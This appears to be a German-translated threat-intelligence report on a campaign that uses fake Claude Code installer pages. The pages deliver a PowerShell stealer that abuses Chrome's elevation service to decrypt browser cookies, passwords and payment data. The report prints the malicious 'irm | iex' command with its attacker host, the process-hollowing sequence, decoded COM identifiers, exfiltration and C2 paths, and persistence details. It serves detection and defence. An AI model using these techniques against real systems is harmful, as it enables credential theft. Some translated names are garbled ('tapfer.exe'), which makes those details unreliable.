Hinter einem gefälschten Claude Code Installer
Veröffentlicht Mai 11, 2026 Zuletzt aktualisiert am 1. Juni 2026
Ein undokumentierter PowerShell-Stealer, der den IElevator2 von Chrome missbraucht
Zusammenfassung
Ontinue's Cyber Defense Center hat eine laufende Kampagne beobachtet, die Entwickler über gefälschte Installationsseiten angreift, die beliebte Entwickler-Tools imitieren, darunter auch gefälschte Claude Code-Installationsprogramme. Diese Köder tauschen legitime einzeilige Installationsprogramme gegen von Angreifern kontrollierte Befehle aus. Seit Anfang des Jahres wurden mehrere Fälle dokumentiert, in denen ähnliche gefälschte Agenten/Installer-Schemata auf Entwickler abzielten. In diesem Bericht wird ein zusätzlicher Nutzdatenstrom beschrieben, der nirgendwo sonst dokumentiert ist: derselbe Köder mit einer anderen Nutzdatenmenge.
Ein eingefügtes “irm | iex” ruft einen verschleierten PowerShell-Loader von mt7263[.]com ab, der reflektiv einen 4,6 KB großen nativen Helfer in einen Browser der Chromium-Familie injiziert. Der Helfer ruft den browsereigenen Elevation Service über die IElevator2 COM-Schnittstelle auf, um den App-gebundenen Verschlüsselungsschlüssel wiederherzustellen, und die PowerShell-Stufe exfiltriert entschlüsselte Cookies, Kennwörter und Zahlungsmethoden. Die Nutzlast entspricht keiner dokumentierten Familie; wir veröffentlichen sie eher zur Korrelation als zur Attribution.
Wichtigste Ergebnisse
- Eingebettetes Edge IID Transkriptionsfehler. Der in der Hilfsfunktion eingebettete Edge-IElevator2-Schnittstellenkennzeichner weist eine Transposition von zwei Nibble im Feld Data3 auf, nämlich 4740 statt der kanonischen 4047. Dies hat zur Folge, dass der erste Aufruf von CoCreateInstance ab Edge 144 immer fehlschlägt und das Beispiel stillschweigend auf die alte Schnittstelle zurückgestuft wird; die Entschlüsselung gelingt dennoch. Der missgebildete Bezeichner selbst stellt eine hochsichere Erkennungssignatur dar, da er von keiner legitimen Microsoft-Komponente registriert wird.
- Live IElevator2-Unterstützung mit Fallback. Der native Helfer versucht es zuerst mit der IElevator2-Schnittstelle von Chrome 144 und kehrt bei einem Fehlschlag zum alten IElevator zurück, wobei diese Logik auf Chrome, Edge und Brave angewendet wird. Avast Secure Browser wird gegen eine einzelne IID ohne Wiederholungspfad versendet. Das Kompilierungsdatum von 2026-03-24 platziert die Konstruktion innerhalb von sechzig Tagen nach der Veröffentlichung von Chrome 144, was auf eine aktive Entwicklungsarbeit hindeutet.
- Architektonische Spaltung, um die Verhaltenserkennung zu umgehen. Alles, was auf Anhieb erkannt wurde - SQLite-Datenbankzugriff, Archivaufbau, HTTPS-Exfiltration, Persistenz geplanter Aufgaben und die Prozessinjektionskette selbst - befindet sich ausschließlich im PowerShell-Loader. Der systemeigene Helfer stellt keine Netzwerk-, Kryptographie- oder Dateiaufzählungsimporte zur Verfügung, und sein einziger bösartiger Vorgang ist ein einzelner indirekter COM vtable-Aufruf. Zwei Standard-API-Ketten-Regelsätze, die wir für die Binärdatei ausgewertet haben, ergaben keine Treffer.
Was ist ABE?
Google führte im Juli 2024 die anwendungsgebundene Verschlüsselung (ABE) in Chrome 127 ein, um auf Warendiebe zu reagieren, die die SQLite-Datenbanken mit Cookies und gespeicherten Passwörtern einfach als Datei kopierten. ABE umhüllt den Datenverschlüsselungsschlüssel mit einem Schlüssel, der von einem prozessfremden Windows-Dienst, dem Elevation Service, gehalten wird, der den Pfad seines Aufrufers überprüft, bevor er den umhüllten Schlüssel freigibt. Der von Google angegebene Anwendungsbereich war eindeutig: ABE erhöht den Schutz vor Angreifern, die nicht über eine höhere Sicherheitsstufe verfügen, schützt aber nicht vor der Ausführung von Code, der als Benutzer ausgeführt wird.
Im November 2024 veröffentlichte Gen Digital eine Analyse von Glove Stealer, der ersten umfassend dokumentierten Familie, die den Elevation Service über IElevator aufruft, um den verschlüsselten Schlüssel abzurufen. Gen Digital-Forscher Alexander Hagenah veröffentlichte daraufhin einen öffentlichen Proof of Concept, der die Technik Ende-zu-Ende demonstriert (xaitax/Chrome-App-Bound-Encryption-Decryption). Chrome 144 führte im Januar 2026 neben dem alten IElevator eine neue IElevator2-Schnittstelle ein und nahm damit eine Mojo-basierte Transportmigration vorweg. Das Beispiel in diesem Bericht liegt genau in dieser Linie.
Technischer Überblick
Lieferkette
Die Kette verläuft in fünf verschiedenen Phasen über drei vom Betreiber kontrollierte Domains, die alle innerhalb eines Zeitfensters von sechs Tagen im April 2026 registriert und über Cloudflare abgewickelt werden. Nachstehend finden Sie ein Schema; die einzelnen Abschnitte werden im Folgenden detailliert beschrieben.
Diagramm 1
Diagramm 2
Diagramm 3
Stufe 1: Erstzugang über eine gefälschte Claude-Code-Installationsseite
Das Opfer suchte nach “install claude code” und wählte ein gesponsertes Ergebnis, das zu einer ähnlich aussehenden Claude Code-Installationsseite führte. Diese Seite ahmte die Dokumentation von Claude Code nach und zeigte einen Installationsbefehl an, der dem echten einzeiligen Installationsprogramm ähnelte. Während der kanonische Befehl “irm https[:]//claude[.]ai/install.ps1 | iex” lautet, ersetzte der Köder den Zielhost durch “irm events[.]msft23[.]com | iex”.
Der Lockvogel install.ps1
Ein direkter Abruf der Daten des Lockvogels /install.ps1 gibt zurück. 2.588 Byte PowerShell mit SHA256 b9702ecf2928354dfc32e25468848408de40b82d237f83953fdc6d6d655050ef. Der Inhalt ist eine wortgetreue Reproduktion des authentischen Anthropic-Installationsprogramms: Das Skript lädt claude.exe von Googles legitimem storage.googleapis[.]com Claude Code Release Bucket herunter, validiert die Binärdatei anhand eines manifest-deklarierten SHA256 und führt anschließend claude install aus. Folglich stellen urlscan und andere Reputationsdienste, die diese URL untersuchen, eine völlig harmlose PowerShell fest.
Die bösartige Anweisung befindet sich nicht in der Datei /install.ps1. Sie wird stattdessen in den HTML-Code der Zielseite selbst eingefügt. Automatisierte Scanner, URL-Reputationsdienste und jeder skeptische Prüfer, der die URL einfach aufruft, sieht daher eine saubere PowerShell, die von einer Cloudflare-Domäne mit einem gültigen Let's Encrypt-Zertifikat geliefert wird. Den Opfern hingegen wird ein völlig anderer Befehl präsentiert. Diese Trennung zwischen dem über die URL abgerufenen Skript und der visuell wiedergegebenen Anweisung ist ein bewusstes Vorgehen.
Stufe 2: events.msft23[.]com Umleitung
Der eingefügte Befehl des Benutzers erzeugt einen Invoke-RestMethod-Aufruf von powershell.exe, der an events.msft23[.]com gerichtet ist. Die Apex-Domäne msft23[.]com wurde am 2026-04-07 registriert, ist ebenfalls über Cloudflare vermarktet und erhielt ihr TLS-Zertifikat von Let's Encrypt am 2026-04-13.
Nackte GET-Anfragen an / erhalten HTTP 404-Antworten, wobei urlscan drei solcher Scans erfasst hat, die identische 404-Antworten zurückgeben. Live-PowerShell-Inhalte werden ausschließlich an Anfragen geliefert, die genau der von Invoke-RestMethod erzeugten Form entsprechen, die durch die spezifische User-Agent-Zeichenfolge und den Pfad identifiziert wird. Dieses selektive Antwortverhalten unterdrückt zufällige Drive-by-Analysen von Browsern und naiven Crawlern und bleibt für die legitime PowerShell-Pipeline, die ein tatsächliches Opfer ausführen würde, völlig transparent.
Stufe 3: PowerShell-Lader unter mt7263[.]com/gate/start/
Die von diesem Host abgerufene Stufe-1-PowerShell ist kurz und schließt direkt an den Stufe-2-Download von mt7263[.]com an.
- Geografischer Ausschluss. Eine Leitplanke vergleicht die Windows-Regionseinstellungen des Hosts mit einer Ausschlussliste, die die GUS-Mitgliedstaaten und den Iran (IR) umfasst, und hält die Ausführung sofort an, wenn sich der Host innerhalb der ausgeschlossenen geografischen Gruppe befindet.
- Identitätssammlung. Der Loader ruft die SID des Benutzers zusammen mit dem MachineGuid-Registrierungswert ab, die beide in der nachfolgenden C2-Kommunikation als Bezeichner des jeweiligen Opfers dienen.
- Browser-Aufzählung. Eine statische Liste von Browsern der Chromium-Familie, Chrome, Edge, Brave, Vivaldi, Perplexity Comet, Helium, Arc, Opera und Opera GX wird iteriert, wobei die JSON-Datei "Local State" jedes Browsers nach dem Feld v20 app_bound_encrypted_key und dem Feld v10 encrypted_key geparst wird.
- v10 Tastenbedienung. Bei Vor-ABE-Installationen entfernt der Lader das fünf Byte lange DPAPI-Präfix aus dem verschlüsselten Schlüsselblob und ruft [System.Security.Cryptography.ProtectedData]::Unprotect direkt auf, ohne dass ein nativer Helferaufruf erforderlich ist.
- v20 Tastenbedienung. Bei ABE-geschützten Installationen schreibt der Lader entweder den 32-Bit- oder den 64-Bit-Helfer in den Speicher und injiziert ihn reflektiv in einen laufenden Browserprozess durch klassisches Process Hollowing, unter Verwendung der kanonischen Win32-Sequenz CreateProcess mit CREATE_SUSPENDED, gefolgt von NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext und schließlich ResumeThread.
- Architekturübergreifende Einführung. Wenn sich die PowerShell-Architektur des Hosts von der des Zielbrowsers unterscheidet, erzeugt der Lader eine passende powershell.exe-Instanz von SysWOW64 oder sysnative und tritt über eine eindeutig benannte ArchPipe_-Architekturüberbrückungspipe wieder ein.
- Handschlag mit der Pfeife. Der Lader stellt eine Verbindung zur Named Pipe her, die zuvor vom Helfer (wie in Phase 4 beschrieben) unter Verwendung von NamedPipeClientStream eingerichtet wurde, überträgt den vier Byte langen magischen Wert APPB, gefolgt vom verschlüsselten Schlüsselblob, und liest den 32 Byte langen Klartextschlüssel zurück.
- Entschlüsselung und Einziehung. Mithilfe des zurückgegebenen Schlüssels entschlüsselt der Lader Cookies, gespeicherte Kennwörter und Zahlungsmethoden aus den SQLite-Datenbanken der einzelnen Browser sowie verschiedene zusätzliche Profilartefakte.
- Beuteverpackung. Ein secure_prefs.zip-Archiv wird vollständig im Speicher durch System.IO.Compression.ZipArchive erstellt.
- Exfiltration. Das Archiv wird als multipart/form-data per HTTP PUT an mt7263[.]com/gate/init/c09d19a0/ übertragen.
- Ausdauer und Aufgabenstellung. Der Lader registriert eine geplante Windows-Aufgabe in einem PT1M-Wiederholungsintervall, die conhost -headless powershell neu startet, um mt7263[.]com/gate/auto/c09d19a0/ nach Folgebefehlen abzufragen, wobei der Endpunkt Inhalte zusammen mit x-filename- und x-task-Headern zurückgibt, die das resultierende Aufgaben-Router-Verhalten bestimmen.
Der Skriptkörper selbst besteht aus etwa 600 KB verschleierter PowerShell. Die Verschleierung umfasst Verzweigungen mit totem Code pro Build, Ganzzahl-Array-Zeichenfolgenfragmente, die zur Laufzeit rekonstituiert werden, und randomisierte interne Bezeichner, wobei die kumulative Wirkung die am Bereitstellungsendpunkt beobachtete Variation pro Abruf erzeugt. Ein speziell entwickelter Python-Evaluator analysiert jeden eingeklammerten Unterausdruck, evaluiert die resultierende Methodenkette isoliert und ersetzt das aufgelöste Literal wieder im Quelltext. Durch fünf aufeinanderfolgende Auswertungsdurchläufe wird das ursprünglich 609 KB große Skript auf etwa 185 KB lesbare Logik reduziert.
Stufe 4: native ABE-Hilfe (payload_x64.bin)
Der 4.608-Byte-PE, der an den Helper-Slot geliefert wird, ist der technische Kern dieses Berichts. Der 32-Bit-Zwilling ist funktional nahezu identisch und weist eine normalisierte Opcode-Ähnlichkeit von mehr als 90% auf (Ghidra Cross-Binary Match). Beide teilen sich den imphash ‘551c967b0ddbc198545038c596a3c10d’.
Beispiel-Metadaten
| Feld | Wert |
|---|---|
| Dateiname | Nutzlast_x64.bin |
| Dateityp | PE32+, x64 (AMD64), Windows GUI-Subsystem |
| Größe | 4.608 Bytes |
| SHA256 | 54ab86b72423832e1d821e19486844375e1428079e1622f1c967d5a66bdc0b48 |
| Zeitstempel der Kompilierung | 2026-03-24 19:53:16 UTC |
| Imphash | 551c967b0ddbc198545038c596a3c10d |
| Basis Bild | 0x140000000 |
| Eingangsstelle RVA | 0x1024 |
| DllCharakteristika | HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE |
| Rubriken | .text (0x5B8, Entropie 6.24), .rdata (0x58A, Entropie 3.62), .pdata (0x0C) |
| Umzüge | Keine (x64). Der x86-Zwilling hat 36 Basisverschiebungen in .reloc |
Ablauf der Ausführung
elevator_pipe_client(void) führt die folgende Sequenz durch. Die mit (delta) gekennzeichneten Schritte weisen auf ein Verhalten hin, das über den öffentlichen xaitax-Konzeptnachweis hinausgeht.
- Identifizieren Sie den Wirt. GetModuleFileNameW(NULL, buf, 0x104) ruft den Pfad des Prozesses ab, in dem der Helfer ausgeführt wird, nicht den eigenen Pfad des Helfers. Das Blatt filename fungiert als Selektor für die Verzweigung pro Browser über msedge.exe, msedge_proxy.exe, brave.exe, brave_proxy.exe, AvastBrowser.exe und einen Standardpfad für Chrome. Der Blatt-Dateiname wird auch kleingeschrieben und mit ASCII summiert, um den deterministischen Hash pro Browser zu erzeugen, der anschließend als drittes Feld für den Pipe-Namen verwendet wird.
- Formatieren Sie den mit Mojo getarnten Rohrnamen. wsprintfW(buf, L”\\\\.\\pipe\\mojo.%d.%d.%d”, pid, tid, filename_hash), siehe den nächsten Unterabschnitt für den Hash-Mechanismus des dritten Feldes.
- Rohrleitung anlegen und warten (Delta). CreateNamedPipeW(..., PIPE_ACCESS_DUPLEX, ...). Der Helper übernimmt die Rolle des Pipe-Servers und kehrt damit die Client-Haltung des xaitax PoC um; der PowerShell-Loader verbindet sich nach innen.
- Validierung des APPB-Handshake. Lesen Sie bis zu 0x1000 Bytes; vergleichen Sie die ersten vier Bytes mit 0x42505041. Eine Nichtübereinstimmung bedeutet einen sauberen Abbruch.
- XOR-Dekodierung der eingebetteten CLSID und IID. Byteweises XOR-0x57 über die beiden 16-Byte-Blobs im Stapel. Die Opcode-Signatur der Decodierschleife lautet ‘80 34 ?? 57 80 30 57’ und erscheint zweimal innerhalb der Funktion.
- Instanziierung des Aufzugs mit Fallback. CoCreateInstance(rclsid, NULL, CLSCTX_LOCAL_SERVER, riid_v2, &pIUnk) zunächst gegen die neue IElevator2 IID; bei Fehlschlag dekodieren Sie eine sekundäre Pro-Browser-IID und versuchen es erneut gegen den alten IElevator. Nach einer erfolgreichen Instanziierung konfiguriert CoSetProxyBlanket RPC_C_AUTHN_LEVEL_PKT_PRIVACY und RPC_C_IMP_LEVEL_IMPERSONATE.
- Entschlüsselung und Rückgabe des Schlüssels. Erstellen Sie eine BSTR aus der Nutzlast des verschlüsselten Schlüssels über SysAllocStringByteLen. Rufen Sie DecryptData über den vtable-Slot des jeweiligen Browsers auf - Slot 5 für Chrome und Brave, Slot 8 für Edge, Slot 13 für Avast (siehe Anhang B). Schreiben Sie den wiederhergestellten Schlüssel über WriteFile in eine 32-Byte-Ausgabe-BSTR zurück über die Pipe.
Der Helfer hat keine Persistenz, keine Datei-E/A, kein Netzwerk und keine sekundäre Stufe. Sein ausschließlicher Zweck ist die Umwandlung eines App-Bound-verschlüsselten Blob in seinen 32-Byte-Klartext-AES-GCM-Schlüssel innerhalb des Sicherheitskontexts des Host-Browsers.
Mojo-Camouflage-Rohrbenennung, im Detail
Die legitimen Mojo IPC-Pipes von Chromium folgen dem Muster mojo.... Der mt7263-Helfer imitiert dieses Muster, erstellt aber das dritte Feld als deterministischen Hash des ausführbaren Dateinamens des Host-Browsers und nicht als 64-Bit-Zufallswert.
Das dritte Feld wird durch erzeugt:
Die für die Zielbrowser ermittelten Werte sind:
| Prozessblattname | Drittes Feld (x64) | Drittes Feld (x86) |
|---|---|---|
| chrome.exe | 0x03ee0040 | 0x03ee0000 |
| msedge.exe | 0x03e50040 | 0x03e50000 |
| msedge_proxy.exe | 0x06860040 | 0x06860000 |
| tapfer.exe | 0x03800040 | 0x03800000 |
| brave_proxy.exe | 0x06210040 | 0x06210000 |
| AvastBrowser.exe | 0x06930040 | 0x06930000 |
Dies erzeugt einen starken statischen Fingerabdruck des Helfers. Eine passende Pipe \\.\pipe\mojo\.\d+\.\d+\.\d+ deren drittes Feld in den kleinen Satz oben fällt, wird nur von diesem Helfer erzeugt. Legitime Chromium-Mojo-Pipes verwenden einen 64-Bit-Zufallswert für das hintere Feld; die Entropie ist sichtbar anders.
IElevator2 Fallback
Mit Chrome 144 (veröffentlicht im Januar 2026) wurde IElevator2 eingeführt, eine neue Schnittstelle für den Elevation Service neben dem alten IElevator. Der Helfer versucht es zuerst mit der neuen Schnittstelle und greift bei einem Fehlschlag auf die alte Schnittstelle zurück, für Chrome, Edge und Brave. Avast Secure Browser verwendet eine einzige IID und versucht es nicht erneut.
Für den Chrome-Zweig ist die logische Struktur wie folgt:
Das Kompilierdatum unseres Beispiels ist der 24.03.2026, weniger als sechzig Tage nach der Veröffentlichung von Chrome 144. Der Betreiber verfolgt die Upstream-Änderungen der Chromium-Schnittstelle innerhalb eines Release-Zyklus.
Alle elf 16-Byte-Blobs auf dem Stack lassen sich sauber mit 0x57 zu bekannten Elevation-Service-Kennungen XOR-verknüpfen. Wir haben alle anhand der dekompilierten Stack-Initialisierungs-Bytes überprüft; die Dekodierung ist in Anhang A enthalten.
Entschärfte CLSIDs und IIDs
Alle elf 16-Byte-Blobs auf dem Stack lassen sich sauber mit 0x57 zu bekannten Elevation-Service-Kennungen XOR-verknüpfen. Wir haben alle anhand der dekompilierten Stack-Initialisierungs-Bytes überprüft; die Dekodierung ist in Anhang A enthalten.
| Rolle | GUID (entschlüsselt) |
|---|---|
| Chrome-Erhöhungsdienst CLSID | {708860E0-F641-4611-8895-7D867DD3675B} |
| Chromium IElevator2 IID (Chrome und Brave) | {1BF5208B-295F-4992-B5F4-3A9BB6494838} |
| Chrome IElevator (Altbestand) IID | {463ABECF-410D-407F-8AF5-0DF35A005CC8} |
| Brave Elevation Service CLSID | {576B31AF-6369-4B6B-8560-E4B203A97A8B} |
| Brave IElevator (Altbestand) IID | {F396861E-0C8E-4C71-8256-2FAE6D759CE9} |
| Kantenerhöhungsdienst CLSID | {1FCBE96C-1697-43AF-9140-2897C7C69767} |
| Edge IElevator2 IID (wie eingebettet - siehe unten) | {8F7B6792-784D-4740-845D-1782EFBEF205} |
| Edge IElevator (Altbestand) IID | {C9C2B807-7731-4F34-81B7-44FF7779522B} |
| Avast Secure Browser CLSID | {EAD34EE8-8D08-4CA1-ADA3-64754374D811} |
| Avast IID | {7737BB9F-BAC1-4C71-A696-7C82D7994B6F} |
Chrome und Brave teilen sich die IElevator2 IID (1BF5208B-295F-4992-B5F4-3A9BB6494838), da beide von der gleichen Chromium-Basisschnittstelle erben. Die gemeinsame IID ist der erste Versuch des Betreibers; die produktspezifische Legacy-IID ist der Fallback.
Der Edge IElevator2 IID-Übertragungsfehler
Der kanonische Edge IElevator2 IID, pro xaitax's browser_config.hpp, ist {8F7B6792-784D-4047-845D-1782EFBEF205}. Bei der in der mt7263-Hilfsfunktion eingebetteten IID ist Data3 vertauscht: 4740 anstelle von 4047. Wir haben dies überprüft, indem wir die vollständige 16-Byte-GUID der Stack-Initialisierung aus der Disassemblierung rekonstruiert haben (Schreibzugriffe auf [rbp-0x38] bis [rbp-0x2c]) und die XOR-0x57-Dekodierung byteweise angewendet haben.
Die betriebliche Konsequenz ist, dass bei Microsoft Edge-Builds 144 und später der anfängliche CoCreateInstance-Aufruf immer mit E_NOINTERFACE fehlschlägt, wodurch der Fallback-Pfad ausgelöst wird. Die Fallback-IID ist die Legacy-IID {C9C2B807-7731-4F34-81B7-44FF7779522B}, die Edge immer noch bereitstellt. Die Entschlüsselung erfolgt über die Legacy-Schnittstelle. Der Fehler ist unauffällig: Er stuft das Beispiel von IElevator2 auf IElevator auf Edge herab, verhindert aber nicht die Schlüsselwiederherstellung.
Stufe 5: Exfiltration und Tasking-Schleife
Nach Erhalt des 32-Byte-ABE-Schlüssels vom Helfer entschlüsselt der PowerShell-Loader die lokalen Browser-Datenbanken und konsolidiert die resultierende Beute in einem speicherinternen secure_prefs.zip-Archiv. Er überträgt das Archiv als multipart/form-data über HTTP PUT an mt7263[.]com/gate/init/c09d19a0/. Der HTTP-Client wird mit Invoke-RestMethod ohne User-Agent-Überschreibung aufgerufen, sodass die Anforderungen die standardmäßige WindowsPowerShell-User-Agent-Zeichenfolge enthalten.
Die Antwort des Servers ist selbst ein ZIP-Archiv. Das Skript extrahiert die /extension.zip-Einträge für jeden einzelnen Browser und legt sie neben dem Profilverzeichnis des entsprechenden Browsers ab, um einen weiteren Schritt vorzubereiten.
Die Persistenz wird als geplante Windows-Aufgabe eingerichtet, die mit einem PT1M-Wiederholungsintervall konfiguriert ist. Die Aufgabe startet die Powershell ‘-headless’ von conhost, die anschließend mt7263[.]com/gate/auto/c09d19a0/ nach weiteren Folgeaufgaben abfragt. urlscan erfasste eine solche Abfrage, die etwa 346 KB Text/Plain-Inhalt zurückgab, was darauf hindeutet, dass der Kanal aktiv für Aufgaben verwendet wird und nicht nur als Beaconing-Mechanismus dient. Die Antwort auf die Abfrage enthält die Header x-filename und x-task; der Antwortkörper wird in %ProgramData%\ mit den Attributen Hidden und System geschrieben und dann als eine sich wiederholende geplante Aufgabe von einer Minute Dauer registriert.
Der Kommunikationskanal ist HTTPS über Cloudflare, ohne dass ein Zertifikats-Pinning oder eine zusätzliche Transportverschlüsselung über TLS hinaus beobachtet wird. Es gibt keine Ausfallsicherheitsschicht innerhalb des Laders, keine DGA, keine Dead-Drop-Resolver, kein Fallback-C2-Ziel. Die C2-Antwort ist ebenfalls nicht authentifiziert: Der Lader schreibt den Antwortkörper an %ProgramData%\, ohne den übergebenen Dateinamen zu bereinigen, was eine triviale Möglichkeit zur Pfadumgehung bietet, sollte der C2 selbst kompromittiert werden.
Geografischer Notschalter
Der Lader wird vorzeitig beendet, wenn die aus zwei Buchstaben bestehende ISO-Region des Hosts eine der folgenden ist: AZ, AM, BY, GE, KZ, KG, MD, RU, TJ, TM, UZ, UA, IR.
Korrelation von Bedrohungsdaten
Keine übereinstimmende benannte Familie
Wir haben die beobachteten TTPs mit veröffentlichten Berichten für die folgenden Familien verglichen und keine technische Übereinstimmung festgestellt: Lumma, StealC, Vidar, EDDIESTEALER, Glove Stealer, Katz Stealer, Marco Stealer, Shuyal, AuraStealer, Torg Grabber, VoidStealer, Phemedrone, Metastealer, Xenostealer, ACRStealer, DumpBrowserSecrets, DeepLoad, Storm.
Der nächste technische Nachbar ist Glove Stealer (Gen Digital, November 2024). Glove missbraucht IElevator ebenfalls über ein Hilfsmodul, das über eine benannte Leitung kommuniziert. Es unterscheidet sich in sechs konkreten Punkten:
| Aspekt | Handschuhstempler | Diese Probe |
|---|---|---|
| Orchestrator | Native .exe | PowerShell |
| Benennung der Rohre | Chromschlüssel-Familie | \\\\.\\pipe\\mojo... |
| Artefakte auf der Festplatte | Schreibt chromekey.txt | Keine |
| GUID-Verschleierung | Klartext | XOR-0x57 |
| IElevator2-Unterstützung | Keine | Fallback-Zweigstelle |
| Rolle der Hilfsleitung | Kunde | Server |
Abhilfemaßnahmen und Empfehlungen
- Erzwingen des eingeschränkten PowerShell-Sprachmodus
- Aktivieren Sie die ASR-Regel Ausführung von potenziell verschleierten Skripten blockieren
- Aktivieren der PowerShell-Skriptblockprotokollierung (Ereignis-ID 4104) und der Modulprotokollierung
- Überprüfen Sie, ob AMSI aktiviert ist und überwachen Sie AMSI-Manipulationsereignisse
- Sicherstellen, dass der Manipulationsschutz aktiviert ist
- Blockieren Sie die Kategorie "Neu registrierte Domains" über MDE Web Content Filtering
- Erfordern Sie die Phishing-resistente MFA-Authentifizierungsstärke für Admin- und Entwickler-Konten
Schlussfolgerung
Das Beispiel dokumentiert eine gepflegte, produktivitätsorientierte Operation, die bisher in der öffentlichen Familientaxonomie fehlt. Die Technik ist von öffentlichen Untersuchungen abgeleitet, insbesondere von Hagenahs Chrome ABE PoC und Gen Digitals Glove Stealer-Analyse, aber das Orchestrierungsmodell ist anders: ein kleiner nativer Helfer, der als Einzweck-ABE-Orakel fungiert, wobei alle für die Erkennung sichtbaren Aktivitäten in die PowerShell verschoben werden. Die Aufteilung ist eine Design-Entscheidung, die für Verteidiger besonders wichtig ist. Verhaltensregelsätze, die die native PE isoliert betrachten, werden nichts Verwertbares finden. Die Erkennung muss beim COM-Aufruf und in der PowerShell-Schicht ansetzen.
Die Reaktion des Betreibers auf Upstream-Chromium-Änderungen, d. h. die Unterstützung von IElevator2 innerhalb von sechzig Tagen nach der Veröffentlichung, ist das stärkste einzelne Signal für eine kontinuierliche Entwicklungsarbeit und nicht für die Wiederverwendung von öffentlichem Code durch Kopieren und Einfügen. Der Edge-IID-Transkriptionsfehler ist paradoxerweise der stärkste einzelne Aktivposten auf Seiten der Verteidiger: ein eindeutiger, missgestalteter Bezeichner, den keine legitime Komponente jemals registrieren wird. Wir erwarten weitere Beispiele in diesem Stream und werden Updates veröffentlichen, sobald Korrelationen auftauchen.
YARA
Zusammen mit diesem Bericht wurde ein YARA-Regelsatz veröffentlicht, der sowohl den nativen Helper als auch den PowerShell-Loader nach der Deobfuscation anspricht. Die PE-Zielregel kombiniert das XOR-0x57-Decodierschleifen-Byte-Muster, die mit Mojo getarnte Pipe-Formatzeichenkette, die magische APPB-Konstante, die verschleierten CLSID-Data1-Felder, die jedem Browser entsprechen, und die erforderliche Importoberfläche. Die begleitende PowerShell-Regel passt den deobfuscated Loader durch seine C2-Pfadform (/gate/init/, /gate/auto/), den secure_prefs.zip-Archivnamen und die Befehlszeile conhost -headless powershell persistence an.
Indikatoren für Kompromisse
Referenzen
- Gen Digital. Handschuh-Stealer: Nutzung von IElevator zur Umgehung von App-gebundener Verschlüsselung und zum Stehlen sensibler Daten. November 2024. https://www.gendigital.com/blog/insights/research/glove-stealer
- xaitax. IElevator2 und Mojo Migration (Chrome 144). https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/blob/main/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md
Rhys ist ein Bedrohungsforscher bei Ontinue. Rhys begann seine Karriere im IT-Bereich als Techniker, wo er die Welt der Cybersicherheit entdeckte. Schließlich entschied er sich, sein Studium im Bereich Cybersecurity abzuschließen, und erhielt 2021 seine erste Stelle als Analyst bei SOC.
Er sagte, dass er sich am meisten für Sicherheit interessiert, wenn es um Malware geht. Er liebt es, sie zu analysieren und aufzuschlüsseln, um ihre Fähigkeiten aufzudecken.
